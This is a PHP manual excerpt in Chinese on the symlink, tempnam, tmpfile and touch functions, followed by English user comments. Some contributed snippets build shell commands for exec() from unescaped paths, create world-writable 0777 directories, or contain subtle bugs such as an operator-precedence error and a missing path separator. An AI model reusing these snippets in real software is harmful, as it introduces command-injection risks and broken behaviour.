如果 link 已存在，函数将失败，并发出 E_WARNING。在 Windows 上，如果 target 不存在，函数也会失败，并发出 E_WARNING。

示例

Example #1 创建一个符号连接

<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);

echo readlink($link);
?>

参见

  • link() - 建立一个硬连接
  • readlink() - 返回符号连接指向的目标
  • linkinfo() - 获取一个连接的信息
  • unlink() - 删除文件

User Contributed Notes

php-user at protonmail dot com 18-Apr-2023 10:00
Something that is not documented is that this function checks whether the target file exists. Such behavior can be quite inconvenient if you want to create several symbolic links to locally mounted remote files, for example with Rclone. In this specific case this function can take 2 or even more seconds to finish.
Scare! 08-Oct-2022 12:32
On Windows, symlink() does not accept paths with symbolic links in them. Use realpath() https://www.php.net/manual/en/function.realpath.php to expand the paths first.
alvaro at demogracia dot com 02-Apr-2018 11:37
To remove symlinks you need to use:

- rmdir() on Windows
- unlink() elsewhere

<?php
function removeSymlink($path) {
    if (PHP_SHLIB_SUFFIX==='dll') {
        return rmdir($path);
    }
    return unlink($path);
}
Wixiweb 08-Dec-2017 04:20
If you use the suhosin extension, you must allow symlink with :
> suhosin.executor.allow_symlink = On

Check your /var/log/syslog file for more information :
> suhosin: ALERT - symlink called during open_basedir
raat1979 at gmail dot com 11-Aug-2015 12:20
Be warned that at least with php 5.3 on windows 2008 R2 the symlink function is effected by the statcache.

I got error 183 indicating the link existed. While the symlink was actually moved to a different location by  another process and would certainly not exist anymore.
Calling clearstatcache with a filename does not work. Most probably as the filename is converted to a device path (e.g. "\Device\HarddiskVolume1\D-Drive\www\pp\#static\index.html") which is a requirement for the windows call.

easiest is to just call clearstatcache without a filename to resolve the issue.

if you really want to call clearstatcache with a filename you could use readlink on the already deleted symlink (that still lives in the statcache) to get the filename.
For example something like this:
<?php
if(@symlink('d:/www/pp/#static/index.html','d:/www/index.html')===false){
//link failed, perhaps a statcache issue? We try to get the target, if it is a statcache issue this should work just fine

if(($rl = @readlink($target))===false) return false; //not a cache issue as stat on a non-existing file failed, something else must be wrong...

//clear the stat cache for the actual target, strangely enough this works even-though this is the target and not the symlink to be created (*)
clearstatcache(true,$rl);

if(@symlink($source,$target) ===false) return false; //can't create the symlink
?>

*It looks for PHP on windows like the statcache is maintained on the target instead of the actual symlink (this would ease in getting the file properties and limit the size of the statcache)
flobee 26-Mar-2015 03:55
sym/hard linking i love to do it relative a lot but not that trivial when thinking wrong :-)
manpage says: the target is the _linkname_ and from that point to create relative links successful is to start from the directory where the link should be created e.g.:
/myfiles/now/here/
/myfiles/links/

chdir( realpath(dirname($target)));
You need to create/find out the relativ path to the source, otherwise the absolut path will be used in a link.

if you start to create the target path from the source eg:
"/myfiles/now/here/../../later/" and links should go to /myfiles/later/ you need to use realpath( dirname() ) set the new location using chdir() and start from here to link to the source which is ../now/here/
This you can find out e.g.: when having the absolut path of source and target:
$dirTo = realpath(dirname($to));
chdir($dirTo);
$linkName = basename($to);
$target = $dirTo . DIRECTORY_SEPARATOR . $linkName;
$srcFile = getRelativeDirectory($from, $to); //basicly a function which will find the from -> to, but in this case the from ist the target where you need to start.
below you can find some examples how to split the path in chunks to find a relativ path
lingtalfi 27-Aug-2014 09:09
If symlink seems not to work correctly, try to define the target argument as an absolute path.
Coding on MacOsX PHP5.5, I noticed that in some cases using an absolute path on the target argument was the only way I could have a proper symlink created.
zeomniscient 04-Jun-2014 01:21
Context:  php cli on windows OS.

Do not forget to start the console with "Run as Administrator" else symlink will return 'false' and raise the following error :
Warning: symlink(): Cannot create symlink, error code(1314)
Calin 01-Aug-2012 06:06
On IIS (Internet Information Services), you need to set permissions to allow the creation of symbolic links.

Go to Local Security Policy -> Local Policies -> User Rights Assignment and right click on Create symbolic links -> Properties -> Add User or Group and add the "IUSR" user, which should be the user associated with IIS.
A restart may be required.

If this doesn't work, go to IIS Manager -> Authentication -> select Anonymous Authentication -> Edit and enter your current logged in user, which should be an administrator.
Hit OK and now the symlink() function in php should work fine.
reddy1042001 at yahoo dot co dot in 27-Apr-2010 04:33
Symlinks on windows  are created by Symlink() which accept only absolute paths  but not relative paths .relative paths on windows are not supported for symlinks
Porjo 11-Nov-2009 07:36
Keep in mind when using a shared filesystem such as NFS, that you probably don't want to create a symbolic link with absolute paths e.g.

On Server1 you are running a PHP script that needs to create a symbolic link called widget2 which links to widget1 inside an NFS share mounted on your localhost at /mnt/nfs/widgets

On Server2 this same NFS share is mounted under /usr/local/widgets

If you used absolute paths on Server1, then Server2 would try to reference /mnt/nfs/widgets/widget1 which it won't be able to find...

You need to cd into the directory first, then create the link - that way the link will be relative. Unless you run the PHP script from the same directory where you'll be creating the symbolic links, then you can't use symlink(). Use exec() instead as follows:

<?php

exec("cd <nfs mount path>; ln -s <target> <link_name>");

?>
ewering at gmail dot com 14-Nov-2007 01:01
This function sometimes just fails to work for no appearent reason, returning FALSE and not creating a symlink. Doing the same with exec('ln -s source dest') works perfectly. I recommend using the latter.
12-Apr-2007 06:44
Um, duh... that's all I gotta say about by previous note. Please delete it. :)

Windows Vista has its own symlink program now (mklink). Hopefully future versions of PHP for Windows will have this function put it?

Anyway, this will work on Vista (assuming your PHP user has the proper permissions):
<?php
define('SYMLINK_FILE', 0);
define('SYMLINK_DIR', 1);
define('SYMLINK_JUNCTION', 2);
function symlink ($target, $link, $flag = SYMLINK_FILE) {
    switch ($flag) {
       case SYMLINK_DIR: $pswitch = '/d'; break;
       case SYMLINK_JUNCTION: $pswitch = '/j'; break;
       case SYMLINK_FILE:
       default: $pswitch = ''; break;
    }
    // Change / to \ because it will break otherwise.
    $target = str_replace('/', '\\', $target);
    $link = str_replace('/', '\\', $link);
    return exec('mklink ' . $pswitch . ' "' . $link . '" "' . $target . '"');
}
?>
Numien 23-Mar-2007 02:51
The one difference to using symlinks for controlled file access vs. readfile() is that the HTTP server will handle content-type of the symlink automatically.

If you always want it to be downloaded, this can be a negative point. However, if you want a file of non-predefined type to be viewable in the browser, this can be a real asset.

Of course, you can use fileinfo/mime-magic to do that, but those require a module which isn't always available on shared hosting.
04-Nov-2006 04:33
<?

/**
 * A function to emulate symbolic links on Windows.
 * Uses the junction utility available at:
 * http://www.sysinternals.com
 * Note that this will only work on NTFS volumes.
 *
 * The syntax of the junction utility is:
 * junction <junction directory> <junction target>
 *
 * Note that the parameter order of the Junction command
 * is the reverse of the symlink function!
 *
 * @param string $target
 * @param string $link
 */
function _symlink( $target, $link ) {
  if ($_SERVER['WINDIR'] || $_SERVER['windir']) {
    exec('junction "' . $link . '" "' . $target . '"');
  } else {
    symlink($target,$link);
  }
}

function _unlink($link ) {
  if ($_SERVER['WINDIR'] || $_SERVER['windir']) {
    exec('junction -d "' . $link . '"');
  } else {
    unlink($link);
  }
}
?>
anything at the domain williamfrantz.com 14-Feb-2006 05:15
Olszewski_marek makes a good suggestion, but the readfile() function can also be used to obscure file downloads from end users.

/* Setup the file that will be sent */
$downloadDir = "some/secret/directory/";
$file = "theFileName.dat";

/* Required for IE, otherwise Content-disposition is ignored */
if(ini_get('zlib.output_compression')) ini_set('zlib.output_compression', 'Off');

/* Output HTTP headers that force "Save As" dialog */
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false);
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\\"$file\\";");
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".@filesize($downloadDir.$file));

/* Prevent the script from timing out for large files */
set_time_limit(0);

/* Send the entire file using @ to ignore all errors */
@readfile($downloadDir.$file);

/* Exit immediately so no garbage follows the file contents */
exit;
29-Dec-2005 07:21
Olszewski seems pretty good, but just to boost the security a bit, the fifth line of his script should read
<?
...
    $q = rand(1,26);
...
?>

instead of rand(1,24).
contact at tcknetwork dot com 11-Sep-2005 08:04
To make your code portable on unix AND win32, do the following
1. Download http://www.dynawell.com/reskit/microsoft/win2000/linkd.zip
2. Unzip, put linkd.exe in C:\Windows\System32 or C:\WINNT\System32
3. Include in your code the following
<?
function _syslink($t /*target*/ ,$l /*link*/ ) {
 if ($_SERVER["WINDIR"]) {
  $p=dirname($_SERVER["SCRIPT_FILENAME"])."/";
  exec("linkd ".$p.$t." ".$p.$l);
 } else syslink($t,$l);
}
function _unlink($l /*link*/ ) {
 if ($_SERVER["WINDIR"]) {
  $p=dirname($_SERVER["SCRIPT_FILENAME"])."/";
  exec("linkd ".$p.$l." /D");
 } else unlink($l);
}
?>
4. Enjoy
_symlink(TARGET,LINK) works like symlink() on *nix
_unlink(LINK) to delete properly the link created
aircha at cix dot co dot uk 15-Mar-2005 08:49
Olszewski's method of creating downloadable links on the fly is pretty good.

I use a different technique under Apache where if you want a file, you might use a url like:

mydomain.com/files/mysecretfile.doc

But in fact Apache redirects this to a script with a url like:

mydomain.com/utilities/downloadfile.php?filename=mysecretfile.doc

(The browser address bar will still show the first url).

The script downloadfile.php can then handle all the mucky stuff like checking session variables to see if someone is logged on, whether they have access to mysecretfile.doc, and if you want to encrypt before download.

An advantage of this is that the php code to achieve the equivalent of Olszewski's is shorter, so might execute faster. But more importantly, a casual hacker might think all he has to do is find myverysecurefile.doc under the /home/user/public_html/files/mysecretfile.doc, or copy the url - but there's nothing there! He won't find it or get an Apache error page.
olszewski_marek at yahoo dot com 04-Dec-2000 08:54
Here is a simple way to control who downloads your files...

You will have to set: $filename, $downloaddir, $safedir and $downloadURL.

Basically $filename is the name of a file, $downloaddir is any dir on your server, $safedir is a dir that is not accessible by a browser that contains a file named $filename and $downloadURL is the URL equivalent of your $downloaddir.

The way this works is when a user wants to download a file, a randomly named dir is created in the $downloaddir, and a symbolic link is created to the file being requested.  The browser is then redirected to the new link and the download begins.

The code also deletes any past symbolic links created by any past users before creating one for itself.  This in effect leaves only one symbolic link at a time and prevents past users from downloading the file again without going through this script.  There appears to be no problem if a symbolic link is deleted while another person is downloading from that link.

This is not too great if not many people download the file since the symbolic link will not be deleted until another person downloads the same file.

Anyway enjoy:

<?php
$letters = 'abcdefghijklmnopqrstuvwxyz';
srand((double) microtime() * 1000000);
$string = '';
for ($i = 1; $i <= rand(4,12); $i++) {
   $q = rand(1,24);
   $string = $string . $letters[$q];
}
$handle = opendir($downloaddir);
while ($dir = readdir($handle)) {
   if (is_dir($downloaddir . $dir)){
      if ($dir != "." && $dir != ".."){
         @unlink($downloaddir . $dir . "/" . $filename);
         @rmdir($downloaddir . $dir);
      }
   }
}
closedir($handle);
mkdir($downloaddir . $string, 0777);
symlink($safedir . $filename, $downloaddir . $string . "/" . $filename);
Header("Location: " . $downloadURL . $string . "/" . $filename);
?>


建立一个具有唯一文件名的文件

  • ? symlink
  • tmpfile ?
  • PHP Manual
  • 文件系统函数
  • 建立一个具有唯一文件名的文件

tempnam

(PHP 4, PHP 5, PHP 7, PHP 8)

tempnam — 建立一个具有唯一文件名的文件

说明

tempnam(string $directory, string $prefix): string|false

在指定目录中建立一个具有唯一文件名的文件。如果该目录不存在或不可写，tempnam() 会在系统临时目录中生成一个文件，并返回该文件包含文件名的完整路径。

参数

directory

将在其中创建临时文件名的目录。

prefix

产生临时文件的前缀。

Note: 仅使用前缀的前 63 个字符，忽略其它字符。Windows 仅使用前缀的前三个字符。

返回值

返回新的带路径的临时文件名，出错返回 false。

更新日志

版本 | 说明
7.1.0 | 当回退到系统的临时目录时 tempnam() 会发出一个通知。

示例

Example #1 tempnam() 例子

<?php
$tmpfname = tempnam("/tmp", "FOO");

$handle = fopen($tmpfname, "w");
fwrite($handle, "writing to tempfile");
fclose($handle);

// do something here

unlink($tmpfname);
?>

注释

Note: 如果 PHP 不能在指定的 directory参数中创建文件，则退回到系统默认值。在 NTFS 文件系统中，同样的情况也发生在 directory 中文件数超过 65534 个的时候。

参见

  • tmpfile() - 建立一个临时文件
  • sys_get_temp_dir() - 返回用于临时文件的目录
  • unlink() - 删除文件

User Contributed Notes

david at frankieandshadow dot com 22-May-2018 03:29
Debian 9 Stretch adds private temporary directories, so if you use this function when running as mod_php in Apache expecting that the file can be made available to a third party (e.g. in a shell command or a MariaDB load from temporary file command), it will no longer work: the file will not be visible to other processes, (though the same PHP will be able to read it back in).

Either you need to use the first parameter to put the temporary file somewhere specific (outside the HTML document tree) with permissions such that you can share it with the other party, or change the settings for private tmp, for example:

cp /lib/systemd/system/apache2.service /etc/systemd/system/
# edit /etc/systemd/system/ to change PrivateTmp=true to false
systemctl daemon-reload
service apache2 restart

Choosing a different location is better on a shared server - private tmp files were added for a reason.

This was something that puzzled me for ages when doing a recent OS upgrade.
stanislav dot eckert at vizson dot de 11-Jan-2017 01:55
Please note that this function might throw a notice in PHP 7.1.0 and above. This was a bugfix: https://bugs.php.net/bug.php?id=69489

You can place an address operator (@) to sillence the notice:

<?php

if ($tmp = @tempnam() !== false) {
  // ...
}

?>

Or you could try to set the "upload_tmp_dir" setting in your php.ini to the temporary folder path of your system. Not sure, if the last one prevents the notices.
wapmorgan 26-May-2014 05:54
Notice that tempnam will return NULL (not false) if the second parameter <prefix> isn't transferred:
<?php
var_dump(tempnam(sys_get_temp_dir())); // NULL
?>
also the warning will be generated:
Warning:  tempnam() expects exactly 2 parameters, 1 given in php shell code ...
divinity76+yaoiporn at gmail dot com 29-Sep-2013 02:00
if you don't want to take care of deleting the file yourself, and you don't need a custom prefix, you can use
$file_location=stream_get_meta_data(tmpfile())['uri'];
file will be created automatically, and deleted automatically on script close (thanks to tmpfile()) i found this useful for CURLOPT_COOKIEFILE (which wants a file location, not a handle)
Steve Clay 24-Sep-2013 02:59
You don't need tempdir(). Just use tempnam() and replace it with a directory of the same name:
<?php
$temp_dir = tempnam('/tmp', 'prefix');
unlink($temp_dir);
mkdir($temp_dir);
Anonymous 13-Feb-2012 07:44
tempnam will not create file in unauthorized area.
Meaning you need access permissions to the temp dir ($dir) in order to create a file there.
tomas at slax dot org 03-Jun-2010 02:31
Beware: functions are not atomic.  If many processes call the same function at the same time, you may end up with unwanted behavior.

If you need your own variant of tempnam, use something like this:

<?php
   function tempnam_sfx($path, $suffix)
   {
      do
      {
         $file = $path."/".mt_rand().$suffix;
         $fp = @fopen($file, 'x');
      }
      while(!$fp);

      fclose($fp);
      return $file;
   }

   // call it like this:
   $file = tempnam_sfx("/tmp", ".jpg");
?>

You may replace mt_rand() by some other random name generator, if needed.
anthon at piwik dot org 06-Apr-2010 04:20
The file created by tempnam() will have file permissions that reflect the current umask applied to the default (e.g., 0600 or -rw-------).  This is the case whether the umask is set before starting the web server process, or set by an earlier call to PHP's umask() function.

For example, if the current umask is 0022, the temporary file is created with permissions 0600 (read/write by owner).

Also, if the current umask is 0222, the temporary file is created with permissions 0400 (read-only by owner).  (This is problematic if your code then tries to open the temporary file for writing.)

It's important to remember that the umask revokes permissions.  In neither of the above examples are the group, other, or execute permissions set.

See:  umask(), chmod().
Artur Graniszewski 31-Mar-2010 10:57
tempnam() function does not support custom stream wrappers registered by stream_register_wrapper().

For example if you'll try to use tempnam() on Windows platform, PHP will try to generate unique filename in %TMP% folder (usually: C:\WINDOWS\Temp) without any warning or notice.

<?php

// << ...custom stream wrapper goes somewhere here...>>

echo '<pre>';
error_reporting(E_ALL);
ini_set('display_errors', true);
clearstatcache();
stream_register_wrapper('test', 'MemoryStream');

mkdir('test://aaa');
mkdir('test://aaa/cc');
mkdir('test://aaa/dd');
echo 'PHP '.PHP_VERSION;
echo '<br />node exists: '.file_exists('test://aaa/cc');
echo '<br />node is writable: '.is_writable('test://aaa/cc');
echo '<br />node is dir: '.is_dir('test://aaa/cc');
echo '<br />tempnam in dir: '.tempnam('test://aaa/cc', 'tmp');
echo "<br /></pre>";

?>

ouputs:
--------------------
PHP 5.2.13
node exists: 1
node is writable: 1
node is dir: 1
tempnam in dir: C:\Windows\Temp\tmp1D03.tmp

If you want to create temporary file, you have to create your own function (which will probably use opendir() and fopen($filename, "x") functions)
koyama 30-Aug-2009 05:39
Watch out using a blank $dir as a "trick" to create temporary files in the system temporary directory.

<?php
$tmpfname = tempnam('', 'FOO'); // not good
?>

If an open_basedir restriction is in effect, the trick will not work. You will get a warning message like

Warning: tempnam() [function.tempnam]: open_basedir restriction in effect.
File() is not within the allowed path(s): (/var/www/vhosts/example.com/httpdocs:/tmp)

What works is this:

<?php
$tmpfname = tempnam(sys_get_temp_dir(), 'FOO'); // good
?>
hm2k at php dot net 28-Jan-2009 09:15
<?php

function tempdir($dir=false,$prefix='php') {
    $tempfile=tempnam('','');
    if (file_exists($tempfile)) { unlink($tempfile); }
    mkdir($tempfile);
    if (is_dir($tempfile)) { return $tempfile; }
}

/*example*/

echo tempdir();
// returns: /tmp/8e9MLi

?>
dmhouse at gmail dot com 03-Sep-2007 03:51
Guillaume Paramelle's comments below are worth underlining: tempnam() will not accept a relative path for its first directory. If you pass it one, it will (on Windows XP at least) create the temporary file in the system temp directory.

The easiest way to convert a relative path to an absolute path is to prepend getcwd():

<?php
$file = tempnam('files/temp', 'tmp'); // Wrong!
$file = tempnam(getcwd() . 'files/tmp', 'tmp') // Right.
?>
Jason Pell 12-Jan-2007 04:47
I want to guarantee that the file will be created in the specified directory or else the function should return FALSE, I have a simple function that works, but I am unsure if its a potential security issue.

function dir_tempnam($dir, $prefix)
{
    $real_dir_path = realpath($dir);
    if (substr($real_dir_path, -1) != '/')
        $real_dir_path .= '/';

    $tempfile = tempnam($real_dir_path, $prefix);
    $name = basename($tempfile);

    if(is_file($real_dir_path.$name))
        return $name;
    else
    {
        @unlink($name);
        return FALSE;
    }
}

This function returns just the name of the temporary file in the specified directory, or FALSE.

Obviously it could return the entire $tempfile, but in my case, I actually want the basename value seperate.
tux ARROBA cenobioracing PUNTO com 27-Aug-2006 05:19
Beware that on Windows NT and other windows, if you have, for example, a variable $work_dir with a path to some dir on your document root(or any other dir). Note the following:
<?php
$work_dir = 'C:/some/path/to/document_root/dir';
file_exists($working_dir); // Returns true
is_writable($working_dir); // Returns true
$tempfile = tempnam($working_dir,'img');
//$temfile now contains a system wide temp directory file, like 'C:/WINNT.SBS/img444.tmp' instead of the directory we pass it
//Thats because we need to give I_USR (IIS user) user write permission to $working_dir  although according to the aforementioned functions seemed it already had it...
//If you want to use just the system wide temp directory return by default by tempnam you will also need to give it write permission to I_USR user to be able to write to that file...
?>
Ron Korving 03-Feb-2006 12:32
This function creates a temporary directory. The previous example given could bug if between the unlink() and mkdir() some process creates the same directory or file. This implementation is faster too.

<?php
  function tempdir($dir, $prefix='', $mode=0700)
  {
    if (substr($dir, -1) != '/') $dir .= '/';

    do
    {
      $path = $dir.$prefix.mt_rand(0, 9999999);
    } while (!mkdir($path, $mode));

    return $path;
  }
?>
KOmaSHOOTER at gmx dot de 18-Sep-2005 01:51
This Example makes a File called "user.txt"
in the dir www.XXXXX.XX/restricted/
<?php
$tmpfname = tempnam($_ENV["DOCUMENT_ROOT"]."/restricted", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, "writing to tempfile");
fclose($handle);

// do here something
//echo($_ENV["DOCUMENT_ROOT"]);
copy($tmpfname,'user.txt');
 ?>
php at REMOVEMEkennel17 dot co dot uk 05-Mar-2005 10:10
Note that tempnam returns the full path to the temporary file, not just the filename.
Sebastian Kun 21-Jan-2005 01:03
If you go to the linux man page for the C function tempnam(3), you will see at the end "Never use this function. Use mkstemp(3) instead." But php's tempnam() function doesn't actually use tmpnam(3), so there's no problem (under Linux, it will use mkstemp(3) if it's available).
Nick Smith 20-Jan-2005 11:35
It is worth noting that if the 'dir' that you supply doesn't exist, then it is silently ignored and the system /tmp directory used. At least under Linux, PHP v4.1.2.

I had a script that appeared to work fine with safe mode switched off, but I didn't realise that my 'dir' parameter had a typo (so the files were going in /tmp), and once safe mode was switched on I started getting errors because the rest of the script couldn't read files from the system /tmp folder.
anakin dot skyw at gmx dot de 04-Jul-2004 08:20
>Under UNIX (where you can rename onto an extant file and so I used link), you will have to remove both the link and the link's target.

Couldn't you do
<?php
       if ($newFileCreated) {
           unlink ($sysFileName);
           return $newFileName;
       }
?>
and get the same semantics as the windows version?
bishop 30-Apr-2004 08:03
Creating a temporary file with a specific extension is a common requirement on dynamic websites. Largely this need arises from Microsoft browsers that identify a downloaded file's mimetype based on the file's extension.

No single PHP function creates a temporary filename with a specific extension, and, as has been shown, there are race conditions involved unless you use the PHP atomic primitives.

I use only primitives below and exploit OS dependent behaviour to securely create a file with a specific postfix, prefix, and directory.  Enjoy.

<?php
function secure_tmpname($postfix = '.tmp', $prefix = 'tmp', $dir = null) {
    // validate arguments
    if (! (isset($postfix) && is_string($postfix))) {
        return false;
    }
    if (! (isset($prefix) && is_string($prefix))) {
        return false;
    }
    if (! isset($dir)) {
        $dir = getcwd();
    }

    // find a temporary name
    $tries = 1;
    do {
        // get a known, unique temporary file name
        $sysFileName = tempnam($dir, $prefix);
        if ($sysFileName === false) {
            return false;
        }

        // tack on the extension
        $newFileName = $sysFileName . $postfix;
        if ($sysFileName == $newFileName) {
            return $sysFileName;
        }

        // move or point the created temporary file to the new filename
        // NOTE: these fail if the new file name exist
        $newFileCreated = (isWindows() ? @rename($sysFileName, $newFileName) : @link($sysFileName, $newFileName));
        if ($newFileCreated) {
            return $newFileName;
        }

        unlink ($sysFileName);
        $tries++;
    } while ($tries <= 5);

    return false;
}
?>

The isWindows function is mostly left as an exercise for the reader. A starting point is below:

<?php
function isWindows() {
    return (DIRECTORY_SEPARATOR == '\\' ? true : false);
}
?>

Like tempnam(), this function requires you to cleanup your own files later. Under UNIX (where you can rename onto an extant file and so I used link), you will have to remove both the link and the link's target. Cleanup is left entirely to the reader.
phpdoc at rickbradley dot com 25-Nov-2003 03:54
The "newtempnam" recipe provided below (posted by "tempnam" on " 23-Jul-2003 08:56") has at least one race condition.  The while loop checks to make sure that the file in question doesn't exist, and then goes and creates the file.  In between the existence test and the fopen() call there is an opportunity for an attacker to create the file in question.

This is a classic race-condition, and while it seems difficult to exploit there are a number of well-known attacks against this kind of sloppy file creation.

The atomic primitives necessary to implement secure file creation are not available at the language level in PHP.  This further underscores the need for PHP-language developers to rely on the language's security primitives (including tempnam() and tempfile()) instead of rolling their own.
lreilly at lanl dot gov 28-Aug-2002 05:54
Be careful with you forward and back slashes. Innocent looking code like this...

$uploaddir = "C:/Program Files/Apache Group/Apache2/htdocs/sasdap/uploads/";
$tempFile = tempnam ($uploaddir, "TMPANAL");
$fp = fopen($tmpfname, "w");
fwrite($fp, $iqdata);
//fclose($fp);

... may show something odd when echoing $tempFile";

i.e. /Program Files/Apache Group/Apache2/htdocs/sasdap/uploads/\TMP3D.tmp

Must... remember... to... use... backslashes...

 - Lee P. Reilly


建立一个临时文件

  • ? tempnam
  • touch ?
  • PHP Manual
  • 文件系统函数
  • 建立一个临时文件

tmpfile

(PHP 4, PHP 5, PHP 7, PHP 8)

tmpfile — 建立一个临时文件

说明

tmpfile(): resource|false

以读写二进制（w+b）模式创建一个具有唯一文件名的临时文件，然后返回该文件的句柄。

文件在关闭后（例如，调用 fclose() 或 tmpfile() 返回的文件句柄已无引用的情况）或脚本运行结束后，会自动删除。

Caution

如果脚本运行被意外终止，可能不会删除该临时文件。

参数

此函数没有参数。

返回值

返回新文件的句柄，类似于 fopen() 返回的文件句柄， 或者在失败时返回 false。

示例

Example #1 tmpfile() 例子

<?php
$temp = tmpfile();
fwrite($temp, "writing to tempfile");
fseek($temp, 0);
echo fread($temp, 1024);
fclose($temp); // this removes the file
?>

以上示例会输出：

writing to tempfile

参见

  • tempnam() - 建立一个具有唯一文件名的文件
  • sys_get_temp_dir() - 返回用于临时文件的目录

User Contributed Notes

divinity76 at gmail dot com 25-Feb-2020 05:11
at least on Windows 10 with php 7.3.7, and Debian Linux with php 7.4.2,

the mode is not (as the documentation states) 'w+' , it is 'w+b'

(an important distinction when working on Windows systems)
elm at gmail dot nospamplease dot com 27-Aug-2019 04:40
To get tmpfile contents:
<?php
  $tmpfile = tmpfile();
  $tmpfile_path = stream_get_meta_data($tmpfile)['uri'];
  // ... write to tmpfile ...
  $tmpfile_content = file_get_contents($tmpfile_path);
?>

Perhaps not the best way for production code, but good enough for logging or a quick var_dump() debug run.
bishop 27-Apr-2018 07:55
To get the underlying file path of a tmpfile file pointer:

<?php
$file = tmpfile();
$path = stream_get_meta_data($file)['uri']; // eg: /tmp/phpFx0513a
Anonymous 19-Oct-2016 03:19
Since this function may not be working in some environments, here is a simple workaround:

function temporaryFile($name, $content)
{
    $file = DIRECTORY_SEPARATOR .
            trim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) .
            DIRECTORY_SEPARATOR .
            ltrim($name, DIRECTORY_SEPARATOR);

    file_put_contents($file, $content);

    register_shutdown_function(function() use($file) {
        unlink($file);
    });

    return $file;
}
ssandor 22-Nov-2012 08:32
Beware that PHP's tmpfile is not an equivalent of unix' tmpfile.
PHP (at least v. 5.3.17/linux I'm using now) creates a file in /tmp with prefix "php", and deletes that file on fclose or script termination.
So, if you want to be sure that you don't leave garbage even in case of a fatal error, or killed process, you shouldn't rely on this function.
Use the classical method of deleting the file after creation:
<?php
$fn = tempnam ('/tmp', 'some-prefix-');
if ($fn)
  {
    $f = fopen ($fn, 'w+');
    unlink ($fn);  // even if fopen failed, because tempnam created the file
    if ($f)
      {
        do_something_with_file_handle ($f);
      }
  }
?>
oremanj at gmail dot com 08-Apr-2007 11:46
No, the fseek() is necessary - after writing to the file, the file pointer (I'll use "file pointer" to refer to the current position in the file, the thing you change with fseek()) is at the end of the file, and reading at the end of the file gives you EOF right away, which manifests itself as an empty upload.

Where you might be getting confused is in some systems' requirement that one seek or flush between reading and writing the same file.  fflush() satisfies that prerequisite, but it doesn't do anything about the file pointer, and in this case the file pointer needs moving.

-- Josh
chris [at] pureformsolutions [dot] com 04-Oct-2005 12:14
I found this function useful when uploading a file through FTP. One of the files I was uploading was input from a textarea on the previous page, so really there was no "file" to upload, this solved the problem nicely:

<?php
    # Upload setup.inc
    $fSetup = tmpfile();
    fwrite($fSetup,$setup);
    fseek($fSetup,0);
    if (!ftp_fput($ftp,"inc/setup.inc",$fSetup,FTP_ASCII)) {
        echo "<br /><i>Setup file NOT inserted</i><br /><br />";
    }
    fclose($fSetup);
?>

The $setup variable is the contents of the textarea.

And I'm not sure if you need the fseek($temp,0); in there either, just leave it unless you know it doesn't effect it.


设定文件的访问和修改时间

  • ? tmpfile
  • umask ?
  • PHP Manual
  • 文件系统函数
  • 设定文件的访问和修改时间

touch

(PHP 4, PHP 5, PHP 7, PHP 8)

touch — 设定文件的访问和修改时间

说明

touch(string $filename, ?int $mtime = null, ?int $atime = null): bool

尝试将由 filename 给出的文件的访问和修改时间设定为给出的 mtime。 注意访问时间总是会被修改的，不论有几个参数。

如果文件不存在，则会被创建。

参数

filename

要设定的文件名。

mtime

要设定的时间。如果参数 mtime 为 null，则会使用当前系统的 time()。

atime

如果这个参数不是 null，则给定文件的访问时间会被设为 atime。 否则会设置为 mtime。 如果两个参数都是 null，则使用当前系统时间。

更新日志

版本 | 说明
8.0.0 | mtime 和 atime 现在可以为空。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 touch() 例子

<?php
if (touch($filename)) {
echo $filename . ' modification time has been changed to present time';
} else {
echo 'Sorry, could not change modification time of ' . $filename;
}
?>

Example #2 使用 mtime 参数的 touch()

<?php
// This is the touch time, we'll set it to one hour in the past.
$time = time() - 3600;

// Touch the file
if (!touch('some_file.txt', $time)) {
echo 'Whoops, something went wrong...';
} else {
echo 'Touched file with success';
}
?>

注释

Note:

注意：不同文件系统对时间的判断方法可能是不相同的。

User Contributed Notes

centurianii at yahoo dot co dot uk 17-Aug-2017 08:01
A better explanation:

For file $file and UNIX time stored in vars $access and $modified

- change only access time
\touch($file, \filemtime($file), $access);

- change only modified time
\touch($file, $modified, \fileatime($file));

- change both access and modified time
\touch($file, $modified, $access);

Seeing the results:

//use a session cookie stored in a custom folder
$file = '/var/www/test_com/session/sess_qfn587cudfpgsijm1bs4d81s75';
echo 'stats for sess_qfn587cudfpgsijm1bs4d81s75<br/>';
\clearstatcache();
echo 'access: '.\date("Y-m-d H:i:s", \fileatime($file)).'<br/>';
echo 'modified: '.\date("Y-m-d H:i:s", \filemtime($file)).'<br/>';
echo 'change access to now, modified +1 hour<br/>';
\touch($x, \filemtime($file)+3600, time());
\clearstatcache();
echo 'access: '.\date("Y-m-d H:i:s", \fileatime($file)).'<br/>';
echo 'modified: '.\date("Y-m-d H:i:s", \filemtime($file)).'<br/>';

Notice the double call to clearstatcache()!
csouth at xistins dot com 14-Dec-2014 08:41
An earlier comment referenced a code snippet that showed file_put_contents() was faster the touch for creating files. I re-ran the same tests on PHP 5.5.9 and this seems to no longer be the case.

<?php
$startTime = microtime(true);
for($i = 0; $i < 100000; $i++)
{
    file_put_contents('dir/file'.$i, '');
    unlink('dir/file'.$i);
}
echo "Time: ".(microtime(true)-$startTime)."\n"; // Time: 2.6902809143066

$startTime = microtime(true);
for($i = 0; $i < 100000; $i++)
{
    touch('dir/file'.$i);
    unlink('dir/file'.$i);
}
echo "Time: ".(microtime(true)-$startTime)."\n"; // Time: 2.3343770503998
?>
anon 10-Nov-2013 04:38
Note that when PHP is called by f.e. apache or nginx instead of directly from the command line, touch() will not prefix the location of the invoking script, so the supplied filename must contain an absolute path.

With script started from /home/user/www, this will not touch "/home/user/www/somefile":

<?php
    touch( 'somefile' );
?>

But this will:

<?php
    touch( __DIR__ . '/somefile' );
?>
bosslog at gmail dot com 08-Oct-2010 02:11
I has passed a small test to check which function is faster to create a new file.

file_put_contents vs touch

<?php
for($i = 0; $i < 100; $i++)
{
     file_put_contents('dir/file'.$i, '');
}
?>
Average time: 0,1145s

<?php
for($i = 0; $i < 100; $i++)
{
     touch('dir/file'.$i);
}
?>
Average time: 0,2322s

